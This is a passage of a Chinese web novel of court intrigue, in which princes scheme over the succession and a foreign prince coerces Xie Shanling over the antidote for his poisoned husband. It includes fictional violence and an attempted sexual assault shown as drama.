眼看将灵和顾裕泽二人各执一词又争论起来,谢善淩一直恹恹地心不在焉,似乎只惦记着家中的夫君,而顾裕骐几乎从头到尾都没说话,只是默然看着。 皇帝将几人反应看在眼中,终于出声制止那两人的争吵,问道:“老二你怎么看?” 顾裕骐淡淡道:“当时儿臣不在场,不知真相如何,不敢妄言偏向。今日只因将灵说事涉四弟与皇嫂,儿臣不知何事,出于关心才一同前来。” 皇帝给他一个白眼,问:“那你就白来?” “总比不明真相却胡乱猜测好。”顾裕骐四平八稳道。 “好好好,你倒是知道明哲保身!”皇帝没好气地说着,又看了那两人一眼,皱眉道,“无论过往如何,如今两国既已交好,旧事不必再提。至于裕帧和潘国梁那案子……” 他沉吟过后,朝将灵道,“嫁祸的痕迹过于明显,朕不信!” 将灵朝他拱手行礼:“陛下圣明。” 皇帝示好地点头,说:“朕会让国师再择一个良辰吉日与你签订盟约。” “其实择日不如撞日……” 皇帝摆摆手打断将灵的话。 “你不清楚国师的本事,还是请他算算好。这段日子下来曲折连连,依朕看哪,还是得更慎重一些,毕竟关乎两国的友好未来。”他道。 皇帝说得坚定,似是已经下了决心,将灵只好点头。 * 将灵随顾裕骐回到楚王府,埋怨道:“让你去是帮我说话的,你站那儿一声不吭。” 顾裕骐坐下端起茶盏,平淡道:“我就算说了什么,结果也依旧如此。父皇本就不可能依据你说的那点事处置顾裕泽,你给他心里头留个结,点到即可。” “我可不止是在皇帝的心里留个结,权谍录在他手上的消息传出去,自是人心惶惶。”将灵笑道,“他在背后推波助澜地害我,我当要回敬。” 顾裕骐忽的问:“沙蝎还没消息?” 将灵不慌不忙地喝了一口茶才说:“没消息。我又不急,呵,若秦青死了——” “谢善淩会殉情。”顾裕骐打断他的话接道。 将灵皱了皱眉头:“我不信。” “随便你,选择的权力在你手上,日后无论后悔与否,不要牵扯进我来,说我没提醒你。”顾裕骐说。 将灵突然用微妙的神情看他:“你还真是什么事儿都不想沾啊,都忙着撇清干系。” 顾裕骐淡漠道:“原本就并不干我的事,只是一贯以来都喜欢莫名其妙地将我牵扯进去,很烦。” “你都想坐那个位子了,嫌烦可不行。”将灵道,“莫非如今真是沉醉于温柔乡中不思进取了?” 顾裕骐一时没有回答,低头饮茶。 作者有话要说: 顾裕骐:跟没老婆的人说也说不明白,不必浪费口舌。 第96章 ◎此局若成,将来史书上会赞誉朕乃一代开疆拓土的明君,你亦有不惶于昔秦王世民之功略!◎ 将灵瞪大眼睛:“你可别临到头了给我来这一套!我又当不了你们大梁的太子、皇帝, 你若不做,无论是你哪个兄弟做,你都没活路!” 顾裕骐眉间浮现出一股忧郁的戾气,半晌回怼道:“不必操这多余的心。” 将灵起身走近他, 居高临下道:“楚王殿下, 咱俩现在是一条绳上的蚂蚱, 你这边若不好,我在豲戎也会很难过。” 曾经他是豲戎王最器重的儿子, 对他委以重任,然而谢善淩毁了他的前途。 他灰溜溜逃回王城, 虽没遭受明面上的责罚,却明确地感受到了父王的失望, 加之七王子年岁逐增,显现出能力来,父王的心中显然有了其他想法…… 顾裕骐抬眼不闪不躲地与他对视, 不耐烦地说:“我也希望你记得这些,而不是一见到谢善淩就魂都飞他身上去。” 将灵听了这话并不恼,反而沉思起来。 许久, 他郑重地看着顾裕骐说:“你说咱俩算不算连襟?这么一想还真有缘。” “……”顾裕骐放下茶盏, 起身道,“还有别的事吗?若没有……” “聊聊啊。”将灵说。 “不想聊。”顾裕骐果断拒绝,不等他再说,抬脚就要火速离开。实在是受够了。 “等等,等等,不说那个了……”将灵赶紧叫住他, “说顾裕泽!” 顾裕骐将信将疑地停下脚步转头看他。 将灵严肃起来, 说:“得一击即中, 将顾裕泽彻底按死,否则蔺家会很棘手。潘家如今和你结仇,说不定会襄助他。你能调动的兵太少而且零散,若真到那时,形势对你很不利。还是得趁着皇帝的话有用时下手。” 顾裕骐蹙眉:“原本豲戎军可以剿匪名义入梁助我,可出了那些事……今日父皇说找国师算日子,也不知会算到什么时候。” “这个国师我有所耳闻,却不多,他很神秘,我当年也没能安插进人手去他身边。”将灵眯了眯眼睛,道,“若利诱不行,就威逼。” “没用。”顾裕骐说,“我与国师有过几面之缘,不认为他是可以收买的人,无论你是威逼还是利诱。” “那就杀了他。”将灵冷道。 “先别横生枝节了。父皇执意结盟,顾裕泽劝不动,正等着抓你的把柄,你不要自己递过去。”顾裕骐说,“还是按兵不动,静观其变。” * 自潘成栋惨死到三法司彻查此案,拖了一个来月,即便尸身周遭每日堆满冰块也依然随着天气的暖和而腐败发臭起来。 三法司最终在皇帝的示意下拉了个不相干的替罪羔羊出来顶走一切,也算给个交代,终于潘成栋得以举行葬礼。 然而他的父亲潘国梁从始至终都没有回来京城,说是边塞离不开人,可人的心中却自会有判断:是无法回来,还是不想回来? 或者是不想回来,也不能回来。 他的一双儿女接连去世,死因可疑,都与二皇子、将灵有着说不清的纠葛干系,而皇帝近来却极其宠信这两个…… 加之先前的种种矛盾,君与将之间有了这样的隔阂,难免相互猜疑防备。 这样的当口,潘家其实还防着一人添乱:谢善淩。 楚王与潘凤成亲那日,谢善淩当街放话今后潘家的红白喜事他都会捣乱,后来潘凤葬礼他倒是没真现身,可如今潘成栋…… 潘家现如今也知自己处境危险,只想尽力低调,就怕谢善淩不依不饶。 他们提心吊胆地将潘成栋送葬出城,谢善淩始终没出现,这才松了一口气,暗道,还好大皇子中毒昏迷了,才拖住了这难缠的家伙! 潘成栋的尸身从西门出城,遥遥相对的东门原本安静少人,忽然街上由远而近一匹骏马扬着蹄飞奔而来,驾马的人剑眉星目,一眼便能认出是四皇子。 若按以往,守城官兵见四皇子行色匆匆要出城,不会阻拦。可今日他们对视一眼,伸出手中长枪拦在城门前。 顾裕泽急忙长勒马绳,马抬高前蹄嘶鸣,后退停了下来。 “……我有急事出城,放行。”顾裕泽沉稳道。 守门的生面孔却道:“陛下旨意,不许殿下出城。” 顾裕泽眉沉压眼,道:“我怎不知父皇有此旨意?”他视线扫过两人腰牌,“你们是锦衣卫,楚王的人。” 一人道:“回禀四殿下,卑职是锦衣卫。因近来多事之秋,奉特令调守城门。请殿下不要为难卑职。” “放肆!”顾裕泽难得怒于色,呵斥道。 那人却不慌不忙,只说:“卑职等是奉上令,若殿下要出城,需拿出皇上手令特许,否则卑职不敢放行。” 他说这话,自是有把握四皇子拿不出来。 近日来关于四皇子与豲戎勾结多年的传闻传得有愈演愈烈之势,一贯负责镇压流言的东厂及锦衣卫附属于楚王,自然不会认真去管,甚至有人认为幕后少不了他们动的手脚。 更有甚者,说潘将军迟迟不肯回京,是在外等着和四皇子里应外合谋反。 皇帝嘴上说不追究往事,心中却到底介意,又听说民间颇多传闻,更加气恼疏远四皇子,找借口让他在府中安养旧伤,明眼人一看就知这是体面一点的软禁的说法。 四皇子几次求见皇帝都不见,更是令人颇多揣测。 这段日子皇帝为了各种事烦心操劳,龙体很不康健。大皇子中毒,三皇子避世在家几乎不出门,其他皇子年幼,四皇子受到厌弃,只有楚王时常出入宫中。 不仅如此,楚王还接管了京城内外禁军兵马。 皇帝几乎日日当着文武百官的面召他朝会后去中和殿与一众老臣议事,据那些老臣些许透露的意思,确实有委以重任的倾向。 关于太子之位即将有定论的消息也就不胫而走。 这样的时刻,楚王自然要将最有实力的对头四皇子禁在京中,若他回去军中岂不是放虎归山? 顾裕泽冷冷道:“难道不该你们先拿出父皇禁我出城的圣旨来?” 对面便一时语塞。 顾裕泽问:“谁让你们假传圣旨的?楚王吗?” “自然不是!”那人立刻否认。 “那你就拿出来,或者立刻放行,否则我可以治你假传圣旨的抄家灭族大罪,指使你的人也难逃其咎!”顾裕泽昂然道。 那人目光闪烁几下,坚持道:“不可出城!除非殿下有皇上的特许……” 他话未说完,顾裕泽自怀中掏出一封信笺,展开朝向他,冷笑道:“我还真有。” 对方怔了怔,睁大眼睛看着纸上的字句与落款玉玺之印,露出不敢置信的神色,也有了一丝慌乱。 半晌,守门的两个锦衣卫对视一眼,讪讪开口:“可是……” “无妨,我现在不出城了。”顾裕泽冷眼看着他们道,“我要带你们去面见父皇,问清楚是谁授意你们假传圣旨阻我出城。” …… “混账!”皇帝怒吼质问,“锦衣卫一向是你在管着,现在做出这样的事来,你也说你不知情!你若什么都不知情,朕还能指望你什么?!” 顾裕骐跪在地上,皱眉道:“如今多事之秋,儿臣确实调派了锦衣卫协理城门守卫,也说了凡五品以上官员出城皆需特令,这是儿臣向父皇禀报过的事,父皇准了。至于假传圣旨,儿臣实不敢做出这种事来!” “你不敢也敢了!别以为朕不知道,这段日子老大病着,老三不中用了,老四养伤,你其他弟弟还小,朕看你婚后还算沉稳,就让你多分一点忧,你的心就野了!”皇帝冷笑道。 顾裕骐叩头道:“儿臣绝无此心!” “有没有你自己心里清楚!就你这身子,也敢肖想——” “父皇!”顾裕骐猛地出声,皇帝一怔,反应过来看了眼一直沉默不语的老四,有点不自然地轻咳了一声,皱眉道:“你在对谁大呼小叫?” 说是这么说,显然语气中带着些许心虚与放过。 半晌,皇帝放松了一点语气,摆手道:“老二你一向谨小慎微,朕谅你也不敢做那样的事,想是下面的人托大,歪曲上头的意思只求自己交差,这样的事也不少见。把那俩人全家抄斩以儆效尤,事儿就到这了,你往后牢记不要松懈御下。” 顾裕骐低声道:“是。” 皇帝叹道:“如今朕只有你们两个倚靠,一文一武,一内一外……” 他看了眼顾裕泽,朝顾裕骐道:“是朕让老四出城。宋淮安和秦青那伙匪徒又闹起来,已突击夺下了樊城!还要继续北上。昨夜收到的密报。朕怕引起人心慌乱,何况如今潘国栋态度不明,恐生无妄之乱,就且叫老四先低调去着,谁料闹出这事。” 顾裕骐仍是应着。 …… 顾裕泽策马驰骋在城外无人的路上,风自身边呼呼掠过,脑中回想起皇帝说过的话。 “朕以国师的名义拖着时间,待你此回先去南边站稳脚跟,朕再引豲戎军进入大梁境内,届时断他们后路,你在前方来一招瓮中捉鳖!” “届时豲戎国内空虚,让蔺家军去打,至少都要夺下王城,将他们赶到沙漠里去,让他们元气大伤,至少可保边境二十年和平!” “此局若成,将来史书上会赞誉朕乃一代开疆拓土的明君,你亦有不惶于昔秦王世民之功略!” “先前是朕被老二这畜生蒙了心,没想到他们一来就对老大下那狠手,将来难保不对朕也如此凶残!他如今为了权势已是不择手段。朕看透他了,实在失望。” “这段时日朕故意冷落你宠信他,观察你们各自的反应,你很沉稳,他却小人得志露了马脚,呵呵……” “为了蒙骗住他们,朕将京城的防卫大权给了老二。你远在外头,以防来日不测,朕给你一封密诏,将来你可凭此奉天靖难……” “朕这些年来被奸人蒙蔽,冷待了你母子俩,好在你自个儿争气。唉,你是朕最有本事的儿子,唯在谢善淩的事上犯糊涂。江山与美人,没出息的才选后一个,明白吗?”皇帝苦口婆心道。 他却不知,若要江山稳固,那个美人不能少。好在他不知。他也不需知。 顾裕泽嘴角微微勾起一抹嘲讽的弧度,眼中是幽暗深邃的光。 第97章 ◎“还真是情深啊。”将灵终于忍不住出声。◎ 深夜, 万籁俱静。 顾望笙依旧了无声息地躺在床上。谢善淩依旧坐在床边看着他出神。 不知过了多久,谢善淩低下头,闭上眼睛,似乎很痛苦, 眉头紧紧皱起, 双手抱着自己的头, 手指插入发缝之中用力抓着头皮。 又过了一阵,他睁开眼睛, 扑到顾望笙的身上低低抽泣。 渐渐地,抽泣声小到消失, 谢善淩似乎是就这么睡着了,却没睡得很安稳, 偶尔会不安地梦呓什么。 突的,他浑身一颤,低低地惊呼一声醒来, 两眼发直瞪着顾望笙,咽了口唾沫,指尖颤抖着伸去他鼻下, 松了一口气的同时泪水又流了满脸。 睡在廊下的谢忠一个激灵爬起来, 隔着门问:“少爷?怎么了?我进来了啊。” “没事。”谢善淩吸了吸鼻子,说,“我做噩梦了。” “嗐……要不吃点儿什么?我去给您下碗面?吃完肚子里热乎点儿睡觉也舒服。”谢忠关切道。 “不必,谢谢。你回屋去睡吧,不用守着我,没事。”谢善淩说。 谢忠又说了几句, 见谢善淩后来索性不回答了, 叹了口气, 又劝几句,还是回他自己的小屋去了。 待外头脚步声远去到再听不见,谢善淩回过头看着顾望笙,又趴回他身上,低声哄道:“你若醒不过来,我把我的命赔给你……” “还真是情深啊。”将灵终于忍不住出声。 谢善淩大骇,循声抬头望去,与屋顶上扒开了一片瓦露出来的脸四目相对。 将灵不慌不忙地将瓦片放回去,脚下无声地跳下地,推门走了进来。 谢善淩已经拔出了墙上悬着的剑,挡在床前,直直刺对着一步步走近的将灵。 “站住!”谢善淩警告道,“否则我会再一次将剑刺入你心口。” 将灵垂眸瞥了眼剑,说:“都没开锋。” 谢善淩:“……” “不过,就算开了锋,我也不会再给你一次将剑刺入我心口的机会。”将灵慢条斯理说着,抬手握住剑头一端,抬眼看他,“你不如叫人来,比这靠谱。” 谢善淩张嘴正要叫人,将灵的身形一闪,下一瞬就已欺身到面前,伸手封住了他几处穴道。 谢善淩口型动了动,嗓子里却发不出一点声音,恼怒地抬手对着将灵就是一巴掌呼来。 将灵侧脸躲了过去,将剑夺走随意地往床上一扔,吓得谢善淩急忙转头去看,见剑落到了角落被褥上,没打着顾望笙,这才放心。 可这越发激怒了将灵,他依旧笑着,却笑得面目狰狞,将谢善淩拖到床上摁住,就来扒他衣服。 谢善淩羞怒着一面竭力挣扎,一面张着嘴大概在骂他,可是挣扎也挣扎不过,骂也骂不出声,多可怜呢。 将灵猫哭耗子地这么想着,低头去吻他,却被谢善淩一口咬在了脖子上。 这一口狠厉,将灵都忍不住吃痛一声,下意识要挣开,谢善淩却死咬着不松口。将灵脖子生疼,都怕喉管就这么被他咬断,摩挲着卡住了他下巴,这才用力掰开了他的嘴,将自己脖子抢救出来。 饶是如此,似乎被谢善淩咬下来了一块肉。他嘴角满是血,扭头呸出块什么东西,旋即用仇恨又得意的眼神瞪着将灵。 将灵气急反笑,一只手仍旧摁着他,另一只手高高扬起作势要扇下来。 谢善淩下意识地闭紧了眼睛,凌厉的风声却迟迟没有响起,最终那只手轻柔地落在他的脸上,摸了摸。 “……” “我是挺贱得慌。”将灵自嘲道。 谢善淩的眼睫颤抖了几下,缓缓睁开眼睛看他,眸中神色复杂。 将灵将他拉起来,说:“老实点儿。他中了阖杀,我不给他解药他也活不了,我没必要现在动手给自己招惹麻烦,替真正给他下毒的人背黑锅。但若你不听话,我现在又酸得很,一气之下可就说不一定了。” 谢善淩又张了张嘴,依旧无声。 将灵挟制着他去桌前,倒了杯冷茶凑到他嘴边:“漱漱口。” 谢善淩眉头微微拱起,瞥了他一眼,眼神依旧很复杂,想了想,含了口茶水进嘴里漱了漱,吐回杯中。 一套有六个杯子,六只杯子里全是谢善淩刚漱过口的污水。 将灵低眼看了看,端起最后那杯放到自己嘴边,好像要喝,却迟迟没喝,抬起了眼角看谢善淩的反应,又笑起来,将杯子放回桌上。 “其实我不嫌弃你,但你这样子太嫌弃我了。”将灵问,“怎么,顾裕帧吃你吃剩下的东西你就不嫌弃,我喝你漱口的水你就嫌弃?” 谢善淩看他的眼神里更嫌弃了。 将灵哼了一声,说了句“不知好歹”,将他拖回床边。谢善淩大概是误会了他,又剧烈挣扎起来。 将灵懒得解释,一只手轻松制住他,另一只手伸向顾望笙的脸,仔细摸索检查,再三确认确实没有易容的痕迹,又去掰他眼皮仔细检验。 顾望笙的眼白之中比起那日当众查验时黑丝更多,而且已经可以比较清晰地看到丝状构成了某种图形。 “还真是……”将灵自言自语说着,挪开手,想了想,转头看向谢善淩。 谢善淩知道了他的目的,没再挣扎,只是依旧仇怨地瞪他。 “你答应我不叫人来,我就解了你的哑穴。”将灵一副有商有量的样子。 谢善淩含恨点头。 将灵立刻抬手为他解了穴。 谢善淩咳嗽了两声,清清嗓子,低声道:“滚。” “来都来了,再待会儿。”将灵将他按坐在床沿上,挨着他自己也坐下来,无视身后的活死人。 谢善淩浑身不自在,但识时务地忍耐着没说什么。 将灵从怀中取出一个油纸包打开递向他,香味顿时四溢。 “应该还有些余温。但不知你还喜不喜欢吃,也不知道你有没有真的喜欢过……”将灵自嘲一笑。 谢善淩垂眸看着油纸里的烤红薯,也想起当年和将灵在街头笑着闹着的一幕幕。 将灵等了等,见他迟迟不接,长叹了一声气,收回手,掰下一块原想自己吃,却又觉得了无胃口。 “还是那对老夫妇在卖,价钱也没变,只是我们变了。” 将灵停了停,看着谢善淩说,“听说顾裕帧也给你买过,你没吃。我一直在想,你是当初骗了我,其实根本不爱吃,还是因为想起了我才不再吃?” 谢善淩张了张嘴,却不发一言。 将灵接着说:“我还想问……当初你刺我那一剑,狠心将我挫骨扬灰,真是因为我是豲戎人,你从一开始答应与我私奔就是为了诓骗我杀我,还是因为在私奔途中我杀了收留我们的那猎户一家?” 谢善淩的眼睫猛地一颤,像是……被说到了心事。 将灵的心也随之一颤。 “我说中了。”他自己都不可思议一般喃喃道。 谢善淩猛然反驳:“不是!” 将灵却看着他的手问:“那你的手为何颤抖得如此厉害?” 谢善淩遮掩似的双手紧握在一起,僵硬地逼自己镇定。 将灵看在眼中,柔声道:“就算你起初是为了设局杀我,可是就像我起初接近你是为了骗你一样,后来你也动了真心,是不是?” “没有。”谢善淩嘴硬道,“我从未对你动过真心!” “我不信。”将灵直直看向他的脸,声音越发温柔,“我错了,善淩,我一直在后悔杀了那家无辜的人。” 谢善淩冷笑着看他:“你不是后悔杀了那家人,而是后悔对我用的迷药剂量太小,使得我醒来太早,你还没来得及带我离开当场。” 将灵急忙拉住他的手,被甩开又立刻去拉,这次用了力,逼迫谢善淩不能轻易甩开。 “你听我解释,我不是嗜杀之人,当时是太紧张了,迫不得已。若遭人出卖被追兵找到,大梁会杀我,豲戎会杀你,我不得不过分谨慎。”将灵道。 为了避免败露行踪,其实已经尽力避免借宿,连客栈也极少住,只是一路风餐露宿太过艰苦,谢善淩病了发起高烧。 当时附近荒无人烟,走了很久才找到一家猎户。 在猎户家住了几日,吃了草药,谢善淩渐渐好转,将灵就说要走。 走前,猎户家老人端来的药汁,要他再吃一碗固固神。谢善淩不疑有他就喝了,不曾想将灵暗中在里面下了点迷药,谢善淩吃完就犯困睡着了。 将灵原想将这户人家处理干净了就带谢善淩离开,待路上谢善淩醒了,就哄说先前是药效发作所致。谢善淩这几日病得迷迷糊糊,应该不会多想。 他不舍得对大病刚愈的谢善淩用太多迷药,却也因为这一点优柔寡断的迟疑令自己的罪行被中途醒来的谢善淩看了个正着。 谢善淩大怒,抢过剑横在将灵脖子上,将灵没有反抗,反倒出言让他杀了自己为猎户一家报仇。 谢善淩终究下不了手,许久,扔开了剑哭起来。将灵忙抱住他,任他如何挣扎着踹打自己也不松手。 谢善淩哭闹着说要回去,说不和他私奔了。将灵哄了许久,谢善淩渐渐平静下来,终于肯继续跟他走,却好多天都郁郁寡欢不搭理他。 将灵继续哄,终于谢善淩又肯搭理他了,但那件事仍如同一根刺扎在两人之间。谢善淩再不肯接近任何旁人,怕再给人惹来灭顶之灾。 不过将灵觉得等时间过去终究会好。谢善淩已经跟他到这儿了,那猎户一家与谢善淩非亲非故的,久了会自然而然地淡忘。 直到谢善淩将剑刺入他的胸膛,他太过诧异,都没想到那户平平无奇、甚至只知道姓氏不知道名字的猎户一家上。 后来他在无数个夜里辗转反侧,终于想起来,不由得怀疑:也许谢善淩原本是真心抛弃一切和自己离开的,只是因为发生了这件事,谢善淩对自己失望,觉得自己是嗜杀之人,他那么善良,一时激愤才…… 作者有话要说: 豲戎王:[小丑] 第98章 ◎呜呜呜贤直兄,我们都被谢思玄骗了!!!◎ 屋内沉寂许久, 谢善淩一脸冷漠地说:“不必多说废话。你今夜来此的目的已经达成,可以滚了。” “你错了,我今夜来此看他只是顺便,目的是看你。”将灵心疼地劝说道, “你吃点东西, 别再整日哭, 如此伤心伤身。他这么久了都没吃解药,就算之后吃了醒过来, 也很可能变成一个痴傻的人,不必为他如此。” 谢善淩气急, 转头又要扇他巴掌,被他眼疾手快握住了手腕。他问:“实话难听, 可难道你要听我和顾裕泽一样对你说那些虚伪的假好话吗?” “那你就早日制出解药啊!”谢善淩道。 “沙蝎难找,就算你这么催我,我也没办法啊。”将灵说。 谢善淩充满不信任地说:“我才不信你没有现成的解药。” 将灵似是有些无奈:“这东西又不是大街上能买到的货物, 就算有现成的解药也极其稀少,我当年也就仅有一颗,你杀我时我吃了阖杀蒙混过去, 事后那颗解药就用了。” 谢善淩嘲讽道:“后来就没再制?” 将灵默了片刻, 幽幽道:“后来我想,若再沦落到那境地,我也就用不上吃解药了,无药可救,也没有求生的意义。” 谢善淩:“……” 半晌,将灵抬手要用指背轻触他的面颊, 却被他稍稍侧脸躲开。 将灵并不恼, 只说:“善淩, 识时务者为俊杰。也许你不齿这句话,可你也得为谢府上下几十口人着想。” 谢善淩猛地看他:“你在威胁我?!” “不,恰恰相反,我为了帮你的家人可做了不少的事。”将灵笑道,“如今你堂妹嫁给了楚王,楚王对她一片情深,即便谢家和匪军有千丝万缕的关系,将来他看在谢婉柔的面子上也会多给些生机。” 谢善淩却愈发愤怒:“是你设计婉柔?潘凤是你害死的?” 将灵理直气壮:“潘家兄妹二人都是我弄死的,那又如何?潘家那样害你,满门一个都逃不掉。” 他深情款款地对谢善淩说:“善淩,伤害你的人,我一个都不会放过。我让潘成栋做了个明白鬼,他是在放血中带着无尽的恐惧与后悔死去的。” 谢善淩不假思索道:“那你怎么还不去死?” 将灵心中刺疼,脸上却仍带着笑,努力做出满不在乎的样子道:“因为我没有伤害你啊。” 谢善淩咬着牙说:“顾裕骐为了权势抛弃过婉柔一次,将来若有需要,他只会再一次地放弃婉柔。你们这种人,嘴里说得情深一片,都是虚伪的自我感动的谎言。你虐杀潘成栋也不过是为了嫁祸给顾裕泽,助楚王与他争夺太子之位。” 将灵笑笑,没有反驳,却也不肯承认:“善淩,你对我们的偏见太深了。” 谢善淩冷笑一声,随即冷冰冰道:“你可以走了。若没有解药,你不必来见我,我不想见你。” “你错了。”将灵说,“我会时常来见你。”他说着转头看着一动不动的顾望笙,嗤笑道,“你俩那样的情深义重,你说,假如我说,善淩你愿意回到我身边的那一日,就是我能加急制出解药给他的那一日,他是情愿就这么死去,还是……” 不等他说完,谢善淩就怒不可遏地起身提起了他的衣襟:“你住口!” 将灵勾着唇笑:“我不会对你动粗,我要你心甘情愿。” “永远也不可能。”谢善淩咬牙切齿道。 将灵一摊手:“我无所谓,耗得起。” * 自那夜过后,将灵几乎夜夜都会来到谢善淩房中。 他不再多看顾望笙,也不再对谢善淩行强迫之事,大多数时候他甚至不说话,只是坐在一旁看着谢善淩,直到谢善淩忍无可忍地叫他滚。 他当然不会滚,等谢善淩太过生气的时候就自顾自去书架上捡两本书看,好像这是他家一般自在。 谢善淩拿他无可奈何,只好愤懑地撇过头去当他不存在。 如此过了半个月,将灵又一次来到,一进屋,他微微挑眉,久违地瞥了眼床上隆起的被子,有点想笑,又有点想调侃一句真好闻的香味,想了想还是没这么做。 他佯作无事发生,去桌旁坐下,谢善淩先开了口。 谢善淩的声音压抑着,有几分低声下气,问:“解药还没好吗?” 将灵看他:“唔,沙蝎……” 谢善淩打断他的话,急切道:“他身上都开始散发这股诡异的香味了!” 将灵曾提起过,阖杀服下后太长时间不解毒,人的神智开始消散,标志就是中毒者的身体飘散出奇异的香气。 将灵正色道:“真是还没找到沙蝎。上回我说那话是故意刺激你,知道你不会答应……” “我答应。”谢善淩说。 将灵的脸一下子阴沉,死死看着他。 从将灵进门前,直到现在,谢善淩都一直握着顾望笙的手。此时他依然握着,转头看着将灵,重复了一遍:“我答应。” 将灵冷笑:“唬我?谢善淩,你不是这样的人……” 话音未落,谢善淩向他确认:“如果我今夜就陪你睡了,你能立刻拿出解药吗?” “……呵呵,别以为你这么说,我就会——” 谢善淩松开了顾望笙的手,站起身,朝向将灵,开始脱衣服。 “……” 将灵的脸颊抽搐了几下,硬撑着看着他脱到只剩中衣,手拉着衣带,指尖用力泛白,许久没使下力气。 将灵缓了缓神,正要嘲讽,谢善淩慢慢蹲下|身坐在脚踏上,佝偻着身体蜷成一团,抱住膝盖埋着头,崩溃地闷声哭了起来。 “……” 是装的,在赌我心软,他最会这一招。 将灵这么告诫着自己,转而暗道:我理应将计就计。 他按捺不住地立刻来到谢善淩面前蹲下,正要柔声安抚,谢善淩动了动,只露出半张脸,湿漉漉的眼眸盯着他,像一只中了箭的小鹿般无助。 “你也要强迫我吗?”谢善淩哭着问。 “……我没强迫你,是你自己突然自说自话,开始脱衣服。”将灵停了下,问,“谁强迫你了?顾裕泽?” 谢善淩没有回答这个问题,又将脸埋回去哭泣。 将灵被他哭得心烦意乱,捡起他脚边的衣服披到他身上,却换来他的指责:“不要你假好心!” 将灵气急反笑,欲言又止,最终只悻悻然地嘀咕:“不识好歹。” 谢善淩一边哭一边还要冷笑,发着抖说:“装什么?无非都是为了做那种事羞辱于我……”他喃喃道,“你们没有差别……” 将灵脸色难看:“你说这话真是诛心啊谢善淩,我若只是为了那个,至于此刻还在这被你这样侮辱真心?” 谢善淩不再说话。 良久,将灵叹了声气,摸了摸他的脑袋。谢善淩挣扎着偏头躲了下,可幅度不大,将灵又觉得他这样子很可爱,小猫似的。 当年他就爱这么摸谢善淩的脑袋,故意逗笑说谢善淩比自己矮很多,谢善淩就会恼羞地瞪自己,要生许久的闷气,哄许久才好。 一幕幕如在眼前。那怎么可能都是假的呢? “其实你明知我对你的心,却故意说这些话,骗我,也骗你自己,是吗?”将灵问。 谢善淩否认,声音木然地说:“不……我不知道……” 将灵不逼他此刻就承认,安静看着他的时候将他刚刚说的话反复回想琢磨,总觉得哪里听起来奇怪……忍不住转头又看了眼顾望笙。 * 在楚王府的书房里议完事,众人散去,将灵坐在椅子上迟迟没动,深邃看着顾裕骐。 顾裕骐已经很有经验,佯作没看出来,也要出去,被他厚着脸皮叫住:“问你些事儿。” “……什么?”顾裕骐不情不愿道。 果然,将灵开口便是:“你说谢善淩真的爱顾裕帧吗?” “不,他不爱顾裕帧,他爱你。”顾裕骐语气淡淡道。 将灵精神大振,目光炯炯盯着他问:“何出此言?” 顾裕骐:“因为你爱听。” 将灵嘴角一抽,冷笑道:“你这日子是好起来了,敢嘲笑于我了。” “不然你要我说什么?说别的你又不乐意。”顾裕骐不耐烦道,“何必在这庸人自扰,顾裕帧已然毒发,你不给他解药等他死罢了。若怕谢善淩殉他,就赶在他死前给他解药,他活过来也是个傻子,谢善淩有着牵挂不会死,你去逼|奸他换取顾裕帧和谢家人的生存之机。” “呵呵,你怎么当初避着不娶谢婉柔呢?你怎么不去逼|奸谢婉柔呢?”将灵问。 顾裕骐幽幽看他,将灵一顿,移开视线道:“我的意思是,有没有可能阖杀真不是顾裕泽下的?” “你想说是谢善淩?”顾裕骐皱眉,细细回想,道,“谢善淩狠不下这心。” 将灵嗤笑道:“不,他最狠得下心。” 你和顾裕帧在他那儿的地位又不一样……顾裕骐欲言又止,终究没刺激他,只是沉默。 过了会儿,将灵道:“他俩成亲不是顾裕帧挟恩逼迫的吗?婚后还闹僵过一段时间,渐渐才融洽。” “而且当年我给他阖杀,那药瓶与寻常装金疮药的无异,谢善淩不可能特意告诉顾裕泽,那么顾裕泽也没必要特意偷走、或是捡走一直带着。阖杀最可能一直都在谢善淩的手上。” 他分析道:“最令我怀疑的是谢善淩这些时日的态度……” “以他性情,难过固然会很难过,却不会如此颓废软弱,他宁可愤怒起来找我们或顾裕泽的麻烦。可他日夜以泪洗面,总是说要一死陪他……” 顾裕骐也分析起来:“谢善淩先前生过病,好像就是动不动要死要活……” “你根本不懂他!”将灵忽的有点激动,“没人比我更懂他!” “……”顾裕骐暗暗深呼吸,问,“所以,你怀疑他为了阻止两国结盟,亲自对顾裕帧下毒?” 将灵又镇定下来,但顾裕骐现在已经觉得他的镇定都是假镇定,其实早就疯了。 “唯有顾裕帧中毒可以同时令我和顾裕泽都有嫌疑,一来阻止两国结盟,二来我和顾裕泽相互猜疑是对方陷害,因而斗起来。”他说。 顾裕骐摇头:“万一你不给他解药,顾裕帧当真毒发身亡,他岂不傻了眼?” 将灵冷笑道:“这就是他的冷情之处!他最有情,却又最无情,为了他所认为的大义,可以牺牲他自己,也可以牺牲他所爱之人,无论是当时的我,还是现在的顾裕帧。” 你和顾裕帧在他那儿是一回事儿吗……顾裕骐忍了忍,将这话忍住。 将灵继续道:“他这段时日与其说是担忧,不如说是……忏悔。此计走险,若我真不给解药,顾裕帧就真的会死。” 顾裕骐沉默片刻,无比冷静地说:“你这完全只是猜想,而我看事实。事实是顾裕帧中毒危在旦夕,谢善淩无暇他顾,而你我确因此事被拖延了计划,顾裕泽得以逃离京城,南下与宁蔚会合。” 将灵不服,正要再说,突然外头传来急匆匆脚步声,他立刻收住了声音。 顾裕骐让人进来,问是什么事。这人道:“回禀王爷,王子,我们一路暗中跟随江锐,他已来到京城外围,因京城近来戒严,他正在想法子蒙混入城。” “再看看,若他实在愚蠢想不出法子,帮他想想。”顾裕骐说。 “属下知道了。” 将灵叫住准备退出去的人,说:“他从匪军那儿逃出来后直奔京城,不是找谢善淩就是找陈贤直,两边都盯紧点,但不必阻止,只是立刻来报。” “是!” 顾裕骐看着人出去,看向将灵。 “我还是认为应该将他抓起来拷问出顾裕帧是秦青此事。他当日假死,后来却在匪军那现身,想必是谢善淩或顾裕帧所为,后来这两人去过黔阳城,江锐知道秦青身份的可能性很大。他有软肋,只要以他父母性命相逼……” 将灵瞥他,调侃道:“你在东厂做过太久,整日就惦记拷打逼问,王妃知道你这么喜欢拷打逼问别人吗?” 顾裕骐不悦地给他一个警告的眼神。 将灵哼了一声,道:“先看看他要说什么再决定怎么做。对着他两个好友,可能比你拷问出来的东西更多更真。” “哎,来赌一把,江锐是先去找谢善淩还是陈贤直?我赌谢善淩。陈贤直看起来就没用。”将灵说。 顾裕骐问:“那我还和你赌什么?” “你赌陈贤直啊。” “……” * 